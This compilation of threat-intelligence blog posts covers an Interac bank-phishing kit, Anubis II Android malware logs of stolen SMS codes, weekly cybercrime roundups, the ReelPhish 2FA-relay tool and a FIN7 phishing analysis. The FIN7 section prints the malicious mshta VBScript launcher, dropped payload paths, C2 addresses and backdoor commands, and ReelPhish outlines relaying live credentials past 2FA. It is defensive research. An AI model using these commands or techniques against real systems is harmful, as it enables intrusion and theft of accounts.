FireEye detected this activity across our platform. Table 3 contains the specific detection names that applied to this activity.

Product

Detection names

Network Security

Malware.Archive
Malware.Binary.lnk
Suspicious.Backdoor.Beacon

Endpoint Security

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
Generic.mg.16bbc967a8b6a365

Threat Analytics Platform

WINDOWS METHODOLOGY [PowerShell Base64 String]
WINDOWS METHODOLOGY [Rundll32 Roaming]
WINDOWS METHODOLOGY [PowerShell Script Block Warning]
WINDOWS METHODOLOGY [Base64 Char Args]
TADPOLE DOWNLOADER [Rundll Args]
INTEL HIT - IP [Structured Threat Reputation-Based]
INTEL HIT - FQDN [Structured Threat Reputation-Based] [DNS]
INTEL HIT - FQDN [Structured Threat Reputation-Based] [Non-DNS]
INTEL HIT - FILE HASH [Structured Threat Reputation-Based]

Table 3: FireEye product detections

Interac: One Phish to Phish Them All

I recently had the pleasure of bumping into some of my Canadian friends at a Law Enforcement conference.  So when I saw someone mention a "National Bank of Canada" phish, I thought I would pull on the string a bit and see if it was actually an "Interac" phish.   Interac is a system for easily sending money between different Canadian banks. The phishers love it, because by imitating Interac, they can steal login information from any Canadian, regardless of where they bank.

By walking up to a higher directory, sure enough, the National Bank of Canada phish was just a tiny part of an underlying Interac phish hosted at 178.128.125[.]127, a Digital Ocean box in Kalívia, Attiki, Greece.


178.128.125[.]127/deposit 
We can tell by the timestamp of the directory that this is a fresh phish - created earlier this morning:


On each of the banks, clicking on their logo would take the visitor to a phishing site for that brand.  (Curiously, HSBC did not work for this author - it took us to the real HSBC website via a Google search?) 

ATB Phish

Desjardins Phish

Laurentian Bank (LBC) Phish

Manulife Bank Phish 

RBC Royal Bank Phish 
Quite a few of the Phish seemed to be formatted for browsing on a Smart phone: 

BMO Mobile Phish 

CIBC Mobile Phish 

Meridian Bank Phish 

Scotiabank Mobile Phish 

Simplii Financial Phish 

Tangerine Phish 

TD Bank Phish 

On most of the phishing pages after entering a Userid and Password, the phish would indicate that the deposit was no longer available by displaying an Interac Error page: 

An Interac Error page displays briefly, then forwards to the real bank
This means that the banks may be able to detect this phishing victims by looking for "referring URLs" coming from pages named "error.html", for example, in this case:

hXXp://178.128.125[.]127/deposit/banks/Laurentian/error.html

A few of the brands, such as National Bank of Canada, did ask for additional information:

National Bank of Canada Phish Validation page

After "Validating" the phish forwarded to the real site, nbc.ca, which means they also might wish to check for "referring URLs" containing "Validation" in the path, such as this one:

hXXp://178.128.125[.]127/deposit/banks/National/Validation/

The CIBC Mobile Phish also had some additional questions for their potential victim:

CIBC Mobile Phish Validation page

So, my Canadian friends, if you get an unanticipated request to deposit funds to your account via Interac, you might want to delay accepting that deposit!






Android Malware Intercepts SMS 2FA: We have the Logs!

A couple years ago I was doing some phishing investigations training at the Police School in Santiago, Chile.  One module in my training was called "Logs Don't Lie" which pointed out that in most cases we have everything we need to prioritize a phishing response just by looking at the log files, either on the compromised phishing server, or in the Financial Institutions own logs.

Malware C2 servers are another great place to apply the rule "Logs Don't Lie."  Most security researchers realize that there is a great cloud of fellow researchers on Twitter sharing little tips and glimpses of their investigations.  @LukasStefanko and @nullcookies and I have been looking at a C2 server for a piece of Android malware.  And the Logs are AMAZINGLY helpful at understanding just what kind of damage such a trojan can do!    (Sidenote:  @nullcookies is a monster for finding fresh and interesting phish (and often related tools), while @LukasStefanko is an awesome malware analyst for ESET, specializing in Android-based malware.  You should follow both on Twitter if you care about such things.  Thanks to them both for the pointer that leads to what follows.)

In this case, the malware is believed to be called "Anubis II" and likely uses the "Builder" that is depicted in this YouTube video, titled "Builder Android Bot Anubis 2"

Launcher the APK Builder "Android Botnet Anubis II" 

Malware actor chooses from his list of banking targets
In the comments section of the video, someone has shared a screen shot of the botmaster's control panel.  In this case it is demonstrating that 619 Android phones can be controlled from the botnet:

Phones that can be controlled from Anubis II control panel
In the particular instance referred to by Lukas and NullCookies, the malware seems to have been active primarily in June of 2018.   The server hosting the Anubis II panel has a list of banks that it can present.

The targets which have custom web inject (or phone inject) content include:
  • 7 Austrian banks
  • 18 Australian banks
  • 5 Canadian banks
  • 6 Czech banks
  • 11 German banks
  • 11 Spanish banks
  • 11 French banks
  • 8 Hong Kong banks
  • 11 Indian banks
  • 6 Japanese banks
  • 1 Kenyan bank
  • 4 New Zealand banks
  • 32 Polish banks
  • 4 Romanian banks
  • 9 Turkish banks
  • 10 UK banks (Bank of Scotland, Barclays, CSGCSDNMB, Halifax, HSBC, Natwest, Royal Bank of Scotland, Santander, TSB, Ulster)
  • 10 US banks (Bank of America, Capital One, Chase, Fifth Third, NetTeller, Skrill, SunTrust, USAA, US Bank, Wells Fargo Mobile)

Fake Android Login Pages for Banks 

While each of the 190 sites has a fake login page available, we thought we would show a sampling from banks around the world . . . 

There are also several Crypto Currency organizations listed:
  • blockchaine
  • coinbase
  • localbitcoin
  • unocoin
As well as some Online Payment, Email, and Social Media sites:
  • eBay
  • Facebook
  • Gmail
  • PayPal
  • ZebPay

Each bank on the list has the equivalent of a phishing page that can be presented if the owner of the android phone attempts to log in to the given bank.

 Some of them have silly typographical errors that will hopefully reduce success, such as this Wells Fargo content, inviting the phone owner to "Sing In" to the bank.  Perhaps there is a Wells Fargo Choir?  Hopefully that will cause victims to NOT fall for this particular malware!

The Wells Fargo Choir?  Sing On!


The SMS Intercepts

One of the main benefits of having access to the server was to see so many examples of successful SMS message intercepts!  At the time of the server dump, this one contained 32,900+ unique "keylog" entries and 52,000+ logged SMS messages from at least 47 unique devices.

Here's an example showing a Bank Two Factor Authentication request being forward to the criminals:

Text: Bank of Redacted: 819881 is your authorization code which expires in 10 minutes. If you didn't request the code, call 1.800.xxx.xxxx for assistance.

Keylogging was also enabled, allowing the criminal to see when a bank app was being used:

06/14/2018, 09:07:34 EDT|(FOCUSED)|[From:, REDACTED BANK, Account Number:, ******6680, Date:, May 30, 2018 10:10:42 AM EDT, Status:, Canceled, Amount:, $100.00, Type:, Deposit, Transfer ID:, 25098675]

In this example, an online payment company is sharing a message:

06/29/2018, 15:28:46 EDT|(CLICKED)|[Friendly reminderThis is Mr. XXXXXXX from REDACTED. This is a friendly reminder that you have a payment due today by 6pm If you have any questions or need to make a payment  via phone call 804-999-9999 or we have a new payment processing system that allows , for your convenience, to simply text in the last 4 digits of a card you've previously used and the security code and we're able to process your payment.  Feel free to call  REDACTED with any questions at 804-xxx-xxxx]

Hundreds of Gmail verification codes were found in the logs:

06/14/2018, 00:19:33 EDT|(FOCUSED)|[G-473953 is your Google verification code., 1 min ago]

Quite a few Uber codes were also found in the logs:

Text: [#] 9299 is your Uber code. qlRnn4A1sbt

Paypal, Quickbooks, LinkedIn, Facebook, Stash, and Stripe all had 2FA codes make appearances in the logs:

Text: FREE PayPal: Your security code is: 321842. Your code expires in 10 minutes. Please don't reply.

Text: [Your QuickBooks Self-Employed Code is 952708, 1 min ago]

Text: 383626 is your Facebook password reset code or reset your password here: https://fb.com/l/9wBUVuGxxxx5zC

Text: Your LinkedIn verification code is 967308.

Text: 103-667 is your Stripe verification code to use your payment info with Theresa.

Text: Your Stash verification code is 912037. Happy Stashing!

Text: Cash App: 157-578 is the sign in code you requested.

Text: Your verification code for GotHookup is: 7074

In a directory called "/numers/" there were also examples of address book dumps from phone contacts.  The small number of these seem to indicate this would be a "triggered" request, where the botnet operator would have to request the address book.  In the example we found, with seven area code (404) numbers, four (770) numbers and four (678) numbers, it is likely an Atlanta, Georgia based victim.

The Keylogging feature also seems to be something that is turned on or off by request of the botnet operators.  There were far fewer devices for which keylogs were found.   Example keylog entries looked like this:

A telephone prompt looked like this:


  • 06/15/2018, 14:38:55 EDT|(CLICKED)|[Call management, •, 10m, 4 missed calls, Ashley Brown (3), Mom]
  • 06/15/2018, 14:38:59 EDT|(CLICKED)|[Call Ashley Big Cousin, Quick contact for Ashley Brown]
  • 06/15/2018, 14:39:01 EDT|(CLICKED)|[1 804-999-9999, Mobile, Call Ashley Brown]


Responding to a message looked like this:


  • 06/15/2018, 16:02:34 EDT|(CLICKED)|[Messaging, •, now, Expand button, (804) 999-9999 , Hey Terry can you send the address, REPLY]
  • 06/15/2018, 16:02:37 EDT|(FOCUSED)|[Aa]
  • 06/15/2018, 16:02:46 EDT|(CLICKED)|[Copy, Forward, Delete]
  • 06/15/2018, 16:02:50 EDT|(FOCUSED)|[]
  • 06/15/2018, 16:02:54 EDT|(CLICKED)|[Messaging]
  • 06/15/2018, 16:02:57 EDT|(CLICKED)|[Enter message]
  • 06/15/2018, 16:05:11 EDT|(CLICKED)|[Answer]
  • 06/15/2018, 16:05:29 EDT|(CLICKED)|[]
  • 06/15/2018, 16:10:50 EDT|(FOCUSED)|[]
  • 06/15/2018, 16:10:52 EDT|(CLICKED)|[Enter]
  • 06/15/2018, 16:11:01 EDT|(FOCUSED)|[2007 Their Address Ct  North CityTheyTyped OK 11111]
  • 06/15/2018, 16:11:03 EDT|(FOCUSED)|[]
A YouTube session looked like this:


  • 06/27/2018, 15:23:36 EDT|(CLICKED)|[YouTube]
  • 06/27/2018, 15:23:46 EDT|(CLICKED)|[Pause video]
  • 06/27/2018, 15:41:19 EDT|(FOCUSED)|[14:46, Go to channel, FINDING OUT THE GENDER!!!, Menu, The Rush Fam · 26K views4 hours ago, 6:12, Go to channel, TRY NOT TO CRY CHALLENGE REACTION WITH KID (SHE ACTUALLY CRIED), Menu, CJ SO COOL · 2.5M views · 1 year ago, SUBSCRIBED]
  • 06/27/2018, 15:46:38 EDT|(FOCUSED)|[]
  • 06/27/2018, 15:46:41 EDT|(CLICKED)|[Enter]
  • 06/27/2018, 15:46:53 EDT|(CLICKED)|[Play video]
  • 06/27/2018, 15:48:06 EDT|(CLICKED)|[ · 0:11]
  • 06/27/2018, 15:48:09 EDT|(CLICKED)|[ · 0:09]
  • 06/27/2018, 15:48:10 EDT|(CLICKED)|[ · 0:08]
  • 06/27/2018, 15:54:30 EDT|(CLICKED)|[Suggested: "BREAKING UP IN FRONT OF COMPANY!!" PRANK ON PANTON SQUAD!!!]

Distribution 

From looking for this malware in various collections, such as Virus Total Intelligence, it seems that the malware is fairly common.  Many new versions of the malware show up in their collection every day.   The most common point of distribution seems to be from the Google Play Store.

A popularly reported stream of such apps was reported on by, well, just about everyone in July 2018.  Some of the headlines included:

Anubis Strikes Again: Mobile Malware continues to plague users in Official App Stores  - from IBM X-Force Research's Security Intelligence blog

Best graphic goes to Secure Computing Magazine:

https://www.scmagazine.com/


A more recent post, from AlienVault, (20 days ago):  "Anubis Android Malware in the Play Store

A search in VirusTotal Intelligence reveals 62 new filehashes ONLY FROM TODAY (September 10, 2018) that match a definition name of "Anubis".  Some of the more popular names for the trojan on VirusTotal include:

DrWeb:  Android.BankBot.1679
Ikarus: Trojan-Banker.AndroidOS.Anubis
Kaspersky: HEUR:Trojan-Dropper.AndroidOS.Hqwar.bbSophos: Andr/BankSpy-AH 




Kaspersky authored a special article on this banking trojan, which they call "HQWar" back in April under the headline "Phantom menace: mobile banking trojan modifications reach all-time high: Mobile banking Trojans hit the list of cyber-headaches in Q2 2018"   In that article they said they have documented 61,000 versions! 

Kaspersky: Phantom Menace
As I mentioned Lukas at the beginning of this blog, ESET has produced an amazing number of articles on Android banking trojans lurking in the Google Play store.  Here are a few of them:

Weekly Cyber Risk Roundup: W-2 Theft, BEC Scams, and SEC Guidance

The FBI is once again warning organizations that there has been an increase in phishing campaigns targeting employee W-2 information. In addition, this week saw new breach notifications related to W-2 theft, as well as reports of a threat actor targeting Fortune 500 companies with business email compromise (BEC) scams in order to steal millions of dollars.

The recent breach notification from Los Angeles Philharmonic highlights how W-2 information is often targeted during the tax season: attackers impersonated the organization’s chief financial officer via what appeared to be a legitimate email address and requested that the W-2 information for every employee be forwarded.

“The most popular method remains impersonating an executive, either through a compromised or spoofed email in order to obtain W-2 information from a Human Resource (HR) professional within the same organization,” the FBI noted in its alert on W-2 phishing scams.

In addition, researchers said that a threat actor, which is likely of Nigerian origin, has been successfully targeting accounts payable personnel at some Fortune 500 companies to initiate fraudulent wire transfers and steal millions of dollars. The examples observed by the researchers highlight “how attackers used stolen email credentials and sophisticated social engineering tactics without compromising the corporate network to defraud a company.”

The recent discoveries highlight the importance of protecting against BEC and other types of phishing scams. The FBI advises that the key to reducing the risk is understanding the criminals’ techniques and deploying effective mitigation processes, such as:

  • limiting the number of employees who have authority to approve wire transfers or share employee and customer data;
  • requiring another layer of approval such as a phone call, PIN, one-time code, or dual approval to verify identities before sensitive requests such as changing the payment information of vendors is confirmed;
  • and delaying transactions until additional verification processes can be performed.

2018-02-24_ITTGroups.png

Other trending cybercrime events from the week include:

  • Spyware companies hacked: A hacker has breached two different spyware companies, Mobistealth and Spy Master Pro, and provided gigabytes of stolen data to Motherboard. Motherboard reported that the data contained customer records, apparent business information, and alleged intercepted messages of some people targeted by the malware.
  • Data accidentally exposed: The University of Wisconsin – Superior Alumni Association is notifying alumni that their Social Security numbers may have been exposed due to the ID numbers for some individuals being the same as their Social Security numbers and those ID numbers being shared with a travel vendor. More than 70 residents of the city of Ballarat had their personal information posted online when an attachment containing a list of individuals who had made submissions to the review of City of Ballarat’s CBD Car Parking Action Plan was posted online unredacted. Chase said that a “glitch” led to some customers’ personal information being displayed on other customers’ accounts.
  • Notable data breaches: The compromise of a senior moderator’s account at the HardwareZone Forum led to a breach affecting 685,000 user profiles, the site’s owner said. White and Bright Family Dental is notifying patients that it discovered unauthorized access to a server that contained patient personal information. The University of Virginia Health System is notifying 1,882 patients that their medical records may have been accessed due to discovering malware on a physician’s device. HomeTown Bank in Texas is notifying customers that it discovered a skimming device installed on an ATM at its Galveston branch.
  • Other notable events: The Colorado Department of Transportation said that its Windows computers were infected with SamSam ransomware and that more than 2,000 computers were shut down to stop the ransomware from spreading and investigate the attack. The city of Allentown, Pennsylvania, said it is investigating the discovery of malware on its systems, but there is no reason to believe personal data has been compromised. Harper’s Magazine is warning its subscribers that their credentials may have been compromised.

SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of the top trending targets are shown in the chart below.

2018-02-24_ITT

Cyber Risk Trends From the Past Week

2018-02-24_RiskScores

The U.S. Securities and Exchange Commission (SEC) issued updated guidance on how public organizations should respond to data breaches and other cybersecurity issues last week.

The document, titled “Commission Statement and Guidance on Public Company Cybersecurity Disclosures,” states that “it is critical that public companies take all required actions to inform investors about material cybersecurity risks and incidents in a timely fashion, including those companies that are subject to material cybersecurity risks but may not yet have been the target of a cyber-attack.”

The SEC also advised that directors, officers, and other corporate insiders should not trade a public company’s securities if they are in possession of material nonpublic information — an issue that arose when it was reported that several Equifax executives sold shares in the days following the company’s massive data breach. The SEC said that public companies should have policies and procedures in place to prevent insiders from taking advantage of insider knowledge of cybersecurity incidents, as well as to ensure a timely disclosure of any related material nonpublic information.

“I believe that providing the Commission’s views on these matters will promote clearer and more robust disclosure by companies about cybersecurity risks and incidents, resulting in more complete information being available to investors,” said SEC Chairman Jay Clayton.  “In particular, I urge public companies to examine their controls and procedures, with not only their securities law disclosure obligations in mind, but also reputational considerations around sales of securities by executives.”

The SEC unanimously approved the updated guidance; however, Reuters reported that there was reluctant support from democrats on the commission who were calling for much more rigorous rulemaking to be put in place.

ReelPhish: A Real-Time Two-Factor Phishing Tool

Social Engineering and Two-Factor Authentication

Social engineering campaigns are a constant threat to businesses because they target the weakest chain in security: people. A typical attack would capture a victim’s username and password and store it for an attacker to reuse later. Two-Factor Authentication (2FA) or Multi-Factor Authentication (MFA) is commonly seen as a solution to these threats.

2FA adds an extra layer of authentication on top of the typical username and password. Two common 2FA implementations are one-time passwords and push notifications. One-time passwords are generated by a secondary device, such as a hard token, and tied to a specific user. These passwords typically expire within 30 to 60 seconds and cannot be reused. Push notifications involve sending a prompt to a user’s mobile device and requiring the user to confirm their login attempt. Both of these implementations protect users from traditional phishing campaigns that only capture username and password combinations.

Real-Time Phishing

While 2FA has been strongly recommended by security professionals for both personal and commercial applications, it is not an infallible solution. 2FA implementations have been successfully defeated using real-time phishing techniques. These phishing attacks involve interaction between the attacker and victims in real time.

A simple example would be a phishing website that prompts a user for their one-time password in addition to their username and password. Once a user completes authentication on the phishing website, they are presented with a generic “Login Successful” page and the one-time password remains unused but captured. At this point, the attacker has a brief window of time to reuse the victim’s credentials before expiration.

Social engineering campaigns utilizing these techniques are not new. There have been reports of real-time phishing in the wild as early as 2010. However, these types of attacks have been largely ignored due to the perceived difficulty of launching such attacks. This article aims to change that perception, bring awareness to the problem, and incite new solutions.

Explanation of Tool

To improve social engineering assessments, we developed a tool – named ReelPhish – that simplifies the real-time phishing technique. The primary component of the phishing tool is designed to be run on the attacker’s system. It consists of a Python script that listens for data from the attacker’s phishing site and drives a locally installed web browser using the Selenium framework. The tool is able to control the attacker’s web browser by navigating to specified web pages, interacting with HTML objects, and scraping content.

The secondary component of ReelPhish resides on the phishing site itself. Code embedded in the phishing site sends data, such as the captured username and password, to the phishing tool running on the attacker’s machine. Once the phishing tool receives information, it uses Selenium to launch a browser and authenticate to the legitimate website. All communication between the phishing web server and the attacker’s system is performed over an encrypted SSH tunnel.

Victims are tracked via session tokens, which are included in all communications between the phishing site and ReelPhish. This token allows the phishing tool to maintain states for authentication workflows that involve multiple pages with unique challenges. Because the phishing tool is state-aware, it is able to send information from the victim to the legitimate web authentication portal and vice versa.

Examples

We have successfully used ReelPhish and this methodology on numerous Mandiant Red Team engagements. The most common scenario we have come across is an externally facing VPN portal with two-factor authentication. To perform the social engineering attack, we make a copy of the real VPN portal’s HTML, JavaScript, and CSS. We use this code to create a phishing site that appears to function like the original.

To facilitate our real-time phishing tool, we embed server-side code on the phishing site that communicates with the tool running on the attacker machine. We also set up a SSH tunnel to the phishing server. When the authentication form on the phishing site is submitted, all submitted credentials are sent over the tunnel to the tool on the attacker’s system. The tool then starts a new web browser instance on the attacker’s system and submits credentials on the real VPN portal. Figure 1 shows this process in action.


Figure 1: ReelPhish Flow Diagram

We have seen numerous variations of two-factor authentication on VPN portals. In some instances, a token is passed in a “secondary password” field of the authentication form itself. In other cases, the user must respond to a push request on a mobile phone. A user is likely to accept an incoming push request after submitting credentials if the phishing site behaved identically to the real site.

In some situations, we have had to develop more advanced phishing sites that can handle multiple authentication pages and also pass information back and forth between the phishing web server and the tool running on the attacking machine. Our script is capable of handling these scenarios by tracking a victim’s session on the phishing site and associating it with a particular web browser instance running on the attacker’s system. Figure 1 shows a general overview of how our tool would function within an attack scenario.

We are publicly releasing the tool on the FireEye GitHub Repository. Feedback, pull requests, and issues can also be submitted to the Git repository.

Conclusion

Do not abandon 2FA; it is not a perfect solution, but it does add a layer of security. 2FA is a security mechanism that may fail like any other, and organizations must be prepared to mitigate the impact of such a failure.

Configure all services protected by 2FA to minimize attacker impact if the attacker successfully bypasses the 2FA protections. Lowering maximum session duration will limit how much time an attacker has to compromise assets. Enforcing a maximum of one concurrent session per user account will prevent attackers from being active at the same time as the victim. If the service in question is a VPN, implement strict network segmentation. VPN users should only be able to access the resources necessary for their respective roles and responsibilities. Lastly, educate users to recognize, avoid, and report social engineering attempts.

By releasing ReelPhish, we at Mandiant hope to highlight the need for multiple layers of security and discourage the reliance on any single security mechanism. This tool is meant to aid security professionals in performing a thorough penetration test from beginning to end.

During our Red Team engagements at Mandiant, getting into an organization’s internal network is only the first step. The tool introduced here aids in the success of this first step. However, the overall success of the engagement varies widely based on the target’s internal security measures. Always work to assess and improve your security posture as a whole. Mandiant provides a variety of services that can assist all types of organizations in both of these activities.

Weekly Cyber Risk Roundup: Bitcoin Attacks Dominate Headlines, New Phishing Warnings

Several cryptocurrency exchanges were among the week’s top trending cybercrime targets due to a variety of different currency thefts, data breaches, and warnings from researchers.

2017-12-8_ITT.png

The most impactful incident occurred at the bitcoin mining platform and exchange NiceHash, which said on Wednesday that its payment system was compromised and the bitcoin in its wallet was stolen. NiceHash said it is “working to verify the precise number of BTC taken”; however, news outlets reported that a wallet linked to the attack obtained around 4,736 bitcoin, which is valued at more than $72 million based on Saturday’s price. The company has not released many details about the attack other than that it began after an employee’s computer was compromised.

In addition, researchers warned this week that the increased valuation of bitcoin has led to it becoming one of the top 10 most targeted industries for DDoS attacks. On Monday, Bitfinex said that its services were disrupted by a DDoS attack. On Thursday, Coinbase warned that the explosion of interest in digital currencies was creating “extreme volatility and stress” on its systems and warned its users to invest responsibly as any future downtime could impact their ability to trade.

News outlets also reported that some Bittrex customers who go through the company’s manual verification process but are rejected have received customer support emails that contain the passports details and photographs of other users, although Bittrex has not confirmed the reports.

Finally, the SEC announced that it obtained an emergency asset freeze to halt the Initial Coin Offering PlexCorps after it raised up to $15 million from thousands of investors by falsely promising a 13-fold profit in less than a month’s time.

2017-12-8_ITTGroups

Other trending cybercrime events from the week include:

  • TIO Networks announces breach: PayPal announced a breach at TIO Networks, a payment processor it acquired in July, that affects approximately 1.6 million customers. City Utilities (CU) and Duke Energy have since notified customers that their personal information was compromised due to the breach, as TIO was the provider of the operating system for CU’s payment kiosks and mobile payment app, in addition to being used to process Duke Energy’s in-person payments.
  • Payment card breaches: The Image Group is notifying customers of a temporary vulnerability on its eCommerce platform, Payflow Pro, that made some payment card numbers susceptible to interception while in transit to PayPal. JAM Paper & Envelope is notifying customers of a payment card card breach affecting its website due to unauthorized access by a third party. A payment card breach involving the Royal National Institute for the Blind’s web store affects as many as 817 customers, and around 55 individuals have already reported fraudulent activity as a result of the incident.
  • Extortion attacks: The Alameda County Library is notifying its users that their personal information may have been compromised after it received an extortion email that claimed hackers had gained access to the library’s entire database of users and may sell that information if they weren’t paid a five bitcoin ransom. The Mecklenburg County government in North Carolina said that its computer systems were infected with ransomware that is demanding $23,000 for the encryption key. Mad River Township Fire and EMS Department in Ohio said that years of data related to residents who used EMS or fire services was lost due to a ransomware infection. The fertility clinic CCRM Minneapolis said that nearly 3,300 patients may have had their information compromised due to a ransomware attack.
  • Other notable incidents: The Center for Health Care Services in San Antonio is notifying 28,434 patients that their personal information was stolen by a former employee. The County of Humboldt is notifying current and former employees that the Humboldt County Sheriff’s Office recovered payroll documents from the county. Pulmonary Specialists of Louisville is notifying patients their information may have been compromised due to possible unauthorized access. Virtual keyboard developer Ai.Type, bike sharing company oBike, Real Time Health Quotes, and Stanford University all had data breaches due to accidental data exposure. Baptist Health Louisville, Sinai Health System, and The Henry Ford Health System notified patients of employee email account breaches.
  • Law enforcement actions: Authorities reportedly shut down Leakbase, a service that sold access to more than two billion credentials collected from old data breaches. The Justice Department announced a software developer at the National Security Agency’s Tailored Access Operations has pleaded guilty to removing classified NSA data and later having that data stolen from his personal computer by Russian state-sponsored actors. A Michigan man pleaded guilty to gaining access to the Washtenaw County computer network and altering the electronic records of at least one inmate in an attempt to get the inmate released early. A Missouri man has been sentenced to six years in prison for hacking his former employer, American Crane & Tractor Parts, in order to steal trade secrets.

SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of those “newly seen” targets, meaning they either appeared in SurfWatch Labs’ data for the first time or else reappeared after being absent for several weeks, are shown in the chart below.

2017-12-8_ITTNew

Cyber Risk Trends From the Past Week

2017-12-8_RiskScoresPhishing concerns were highlighted once again this past week due to a newly announced vulnerability that allows malicious actors to spoof emails, as well as warnings that phishers are making efforts to appear more legitimate.

A researcher has discovered a collection of bugs in email clients, dubbed “Mailsploit,” that circumvents spoofing protection mechanisms and, in some cases, allows code injection attacks. The vulnerabilities were found in dozens of applications, including Apple Mail, Mozilla Thunderbird, Microsoft Outlook 2016, Yahoo! Mail, ProtonMail, and others.

The bug has been fixed in 10 products and triaged for 8 additional products, the researcher said. In addition, Mozilla and Opera said they won’t fix the bug as they consider it to be a server-side problem; however, Thunderbird developer Jörg Knobloch told Wired that a patch would be made available. DMARC spoofing protection is not attacked directly using Mailsploit,  the researcher said, but rather bypassed by taking advantage of how the clients display the email sender name.

In addition, researchers said that nearly a quarter of all phishing websites are now hosted on HTTPS domains, up from three percent a year ago. The increase is due to both an increased number of HTTPS websites that can be compromised and used to host malicious content, as well as phishers registering HTTPS domains themselves due to their belief that the “HTTPS” designation makes a phishing site seem more legitimate to potential victims. An informal poll conducted by PhishLabs found that more than 80% of the respondents incorrectly believed the green padlock associated with HTTPS websites indicated that a website was either legitimate or safe — when in reality it only means that the connection is encrypted.

Individuals and organizations should be aware that malicious actors continue to leverage exploits like Mailsploit along with more secure-looking websites in order to dupe potential victims via phishing attacks with the goal of installing malware, gaining access to networks, or stealing sensitive data.

FIN7 Evolution and the Phishing LNK

FIN7 is a financially-motivated threat group that has been associated with malicious operations dating back to late 2015. FIN7 is referred to by many vendors as “Carbanak Group”, although we do not equate all usage of the CARBANAK backdoor with FIN7. FireEye recently observed a FIN7 spear phishing campaign targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations.

In a newly-identified campaign, FIN7 modified their phishing techniques to implement unique infection and persistence mechanisms. FIN7 has moved away from weaponized Microsoft Office macros in order to evade detection. This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim.

In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of large restaurant chains, hospitality, and financial service organizations. The subjects and attachments were themed as complaints, catering orders, or resumes. As with previous campaigns, and as highlighted in our annual M-Trends 2017 report, FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process.

Infection Chain

While FIN7 has embedded VBE as OLE objects for over a year, they continue to update their script launching mechanisms. In the current lures, both the malicious DOCX and RTF attempt to convince the user to double-click on the image in the document, as seen in Figure 1. This spawns the hidden embedded malicious LNK file in the document. Overall, this is a more effective phishing tactic since the malicious content is embedded in the document content rather than packaged in the OLE object.

By requiring this unique interaction – double-clicking on the image and clicking the “Open” button in the security warning popup – the phishing lure attempts to evade dynamic detection as many sandboxes are not configured to simulate that specific user action.

Figure 1: Malicious FIN7 lure asking victim to double click to unlock contents

The malicious LNK launches “mshta.exe” with the following arguments passed to it:

vbscript:Execute("On Error Resume Next:set w=GetObject(,""Word.Application""):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close")

The script in the argument combines all the textbox contents in the document and executes them, as seen in Figure 2.

Figure 2: Textbox inside DOC

The combined script from Word textbox drops the following components:

\Users\[user_name]\Intel\58d2a83f7778d5.36783181.vbs
\Users\[user_name]\Intel\58d2a83f777942.26535794.ps1
\Users\[user_name]\Intel\58d2a83f777908.23270411.vbs

Also, the script creates a named schedule task for persistence to launch “58d2a83f7778d5.36783181.vbs” every 25 minutes.

VBScript #1

The dropped script “58d2a83f7778d5.36783181.vbs” acts as a launcher. This VBScript checks if the “58d2a83f777942.26535794.ps1” PowerShell script is running using WMI queries and, if not, launches it.

PowerShell Script

“58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell script, which launches shellcode for a Cobalt Strike stager.

The shellcode retrieves an additional payload by connecting to the following C2 server using DNS:

aaa.stage.14919005.www1.proslr3[.]com

Once a successful reply is received from the command and control (C2) server, the PowerShell script executes the embedded Cobalt Strike shellcode. If unable to contact the C2 server initially, the shellcode is configured to reattempt communication with the C2 server address in the following pattern:

 [a-z][a-z][a-z].stage.14919005.www1.proslr3[.]com

VBScript #2

“mshta.exe” further executes the second VBScript “58d2a83f777908.23270411.vbs”, which creates a folder by GUID name inside “Intel” and drops the VBScript payloads and configuration files:

\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777638.60220156.ini
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777688.78384945.ps1
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776b5.64953395.txt
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776e0.72726761.vbs
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777716.48248237.vbs
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777788.86541308.vbs
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\Foxconn.lnk

This script then executes “58d2a83f777716.48248237.vbs”, which is a variant of FIN7’s HALFBAKED backdoor.

HALFBAKED Backdoor Variant

The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. This version of HALFBAKED connects to the following C2 server:

hxxp://198[.]100.119.6:80/cd
hxxp://198[.]100.119.6:443/cd
hxxp://198[.]100.119.6:8080/cd

This version of HALFBAKED listens for the following commands from the C2 server:

  • info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries
  • processList: Send list of process running
  • screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)
  • runvbs: Executes a VB script
  • runexe: Executes EXE file
  • runps1: Executes PowerShell script
  • delete: Delete the specified file
  • update: Update the specified file

All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code:

Function send_data(data)
                random_string = custom_function_to_generate_random_string()
                encoded_data = URLEncode(SimpleEncrypt(data))
                post_data("POST”, random_string & "=" & encoded_data, Hard_coded_c2_url,
Create_Random_Url(class_id))

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the HALFBAKED backdoor. Click here for more information.

Persistence Mechanism

Figure 3 shows that for persistence, the document creates two scheduled tasks and creates one auto-start registry entry pointing to the LNK file.

Figure 3: FIN7 phishing lure persistence mechanisms

Examining Attacker Shortcut Files

In many cases, attacker-created LNK files can reveal valuable information about the attacker’s development environment. These files can be parsed with lnk-parser to extract all contents. LNK files have been valuable during Mandiant incident response investigations as they include volume serial number, NetBIOS name, and MAC address.

For example, one of these FIN7 LNK files contained the following properties:

  • Version: 0
